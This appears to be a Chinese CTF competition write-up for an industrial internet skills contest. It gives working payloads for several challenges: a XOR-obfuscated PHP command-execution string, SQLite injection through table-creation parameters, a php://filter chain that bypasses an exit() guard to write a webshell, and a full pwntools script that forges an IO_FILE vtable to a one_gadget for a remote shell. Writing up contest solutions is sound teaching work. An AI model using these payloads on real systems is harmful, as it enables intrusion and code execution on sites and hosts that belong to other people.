点击蓝字 关注我们
签到
查看源代码,访问 game.js
搜索flag即可获取flag
SimpleCalculator
本以为是模板注入,但发现过滤了一些函数就大体知道应该是命令执行了。
以前做过类似的题目,一般都是直接通过异或构造木马执行命令
但这种题目一般都会给出源码,但扫了几次无果,就利用了以前收藏的exp准备试一试
所以直接构造同一exp就行了
search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=ls
然后发现执行成功,这里直接读取到flag
search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=cat%20/flag
SQLManager
一个可以创建表的页面,抓包发现table_name,和columns_name, 同样再一次比赛中做过类似的题目,记得是sqlite数据库,
每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。
然后在创建表的时候可以用as来复制另一个表中的数据。所以可以用as select sql from sqlite_master来复制sqlite_master的sql字段。
构造payload:
table_name=idlab as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=INTEGER
果然获取到表和列,然后直接构造获取flag
table_name=idlab as select flag_ThE_C0lumn as[&columns[0][name]=]from flag_Y0U_c4nt_GUESS;&columns[0][type]=INTEGER
easyphp
访问url,就看到page参数,发现存在文件包含
尝试下访问根目录readflag,发现是个elf的程序,就知道这题肯定得要拿shell了。
利用filter协议查看源代码
php://filter/read=convert.base64-encode/resource=/var/www/html/index.php
简单代码审计一波,可以直接通过file_put_contents函数生成文件,但是有个<?php exit(); 所以创建木马也没用,所以需要绕过他,
可以通过filter过滤器来进行过滤,通过代码查看发现strip_tags没有过滤
直接贴exp
php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource=idlab.php
url编码原理:闭合原来的PHP标签。经过targs就会删掉exit。然后再经过zlib解压。得到一句话
执行执行就ok
机密的图纸
图片1高度被缩小,调大以后可以看到Y004的输出逻辑
另一个图片后有文字‚LD T3.OUT T4 K40.LD T4.OUT T5 K150.LD T5.OUT T6 K60.END,也是描述了T4-T6的梯形图
根据图片的逻辑,推导出T0-T6的逻辑:
再根据T0-T6的逻辑计算出Y0-Y6的时序如下:
再合并字符串以后,删除换行转md5即得到flag
logger
在我们输入的长度被存储在了r8寄存器,而r9就是对应的输入的idx,通过构造r8,r9我们可以实现任意写,我们可以修改IO_FILE结构体的指针,并且程序在调用vprintf等函数的时候会调用IO相关指针,伪造一个IO_FILE_plus结构体的vtable指针,里面的函数指针我们给它修改成one_gadget,拿到shell,拿下flag
#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
context.log_level = "debug"
pdbg = pwn_debug("./logger")
debug = 3
#pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.23") #2.23 ... 2.29
pdbg.remote("39.105.35.195",15333) #IP,PORT
if debug == 1:
r = pdbg.run("debug")
elif debug == 2:
r = pdbg.run("local")
else:
r = pdbg.run("remote")
def debug(addr):
pdbg.bp([addr])
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
elf = pdbg.elf
libc = pdbg.libc
def choice(idx):
r.sendlineafter("4. Exitn",str(idx))
def warning(content):
choice(1)
r.sendafter("tent:n",content)
def warn_one(content,idx):
choice(2)
r.sendafter("tent:n",content * "a" +"x00")
r.sendlineafter("ID:n",str(idx))
def error(content):
choice(3)
r.sendafter("tent:n",content)
def warn_8(idx,content):
for i in range(len(content)):
warn_one(content[i],idx+i)
payload = "a" * 0x38
warning(payload)
r.recvuntil("a"*0x38)
libcbase = u64(r.recvuntil("x7f").ljust(8,"x00")) - 0x3a2a9
confirm(libcbase)
warn_8(0x0,[0x87,0x28,0xad,0xfb])
warn_8(0x8,[0xb0,0x0c,0x68])
warn_8(0x10,[0xb0,0x0c,0x68])
warn_8(0x18,[0xb0,0x0c,0x68])
warn_8(0x20,[0xb0,0x0c,0x68])
warn_8(0x28,[0xb0,0x0c,0x68])
warn_8(0x30,[0xb0,0x0c,0x68])
warn_8(0x38,[0xb0,0x0c,0x68])
warn_8(0x40,[0xb1,0x0c,0x68])
warn_8(0x70,[0x01,0x00,0x00])
warn_8(0x88,[0xB0,0x0D,0x68])
warn_8(0xd8,[0xb0,0x07,0x68])
warn_8(0x1000,[0x0])
warn_8(0x1008,[0x0])
warn_8(0x1010,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])
warn_8(0x1018,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])
warn_8(0x1020,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])
warn_8(0x1028,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])
warn_8(0x1030,[0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11])
one_gadget = hex(libcbase + 0x4527a)[2:]
result = [one_gadget[2*i:2*i+2] for i in range(int(len(one_gadget)/2))]
warn_8(0x1038,[eval('0x'+result[5]),eval('0x'+result[4]),eval('0x'+result[3]),eval('0x'+result[2]),eval('0x'+result[1]),eval('0x'+result[0]),0,0])
warn_8(-16,[0xb0,0xf7,0x67,0x00,0x00,0x00,0x00,0x00])
choice(4)
r.sendline('cat flag')
r.interactive()
本文始发于微信公众号(IDLab):全国工业互联网技能大赛wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论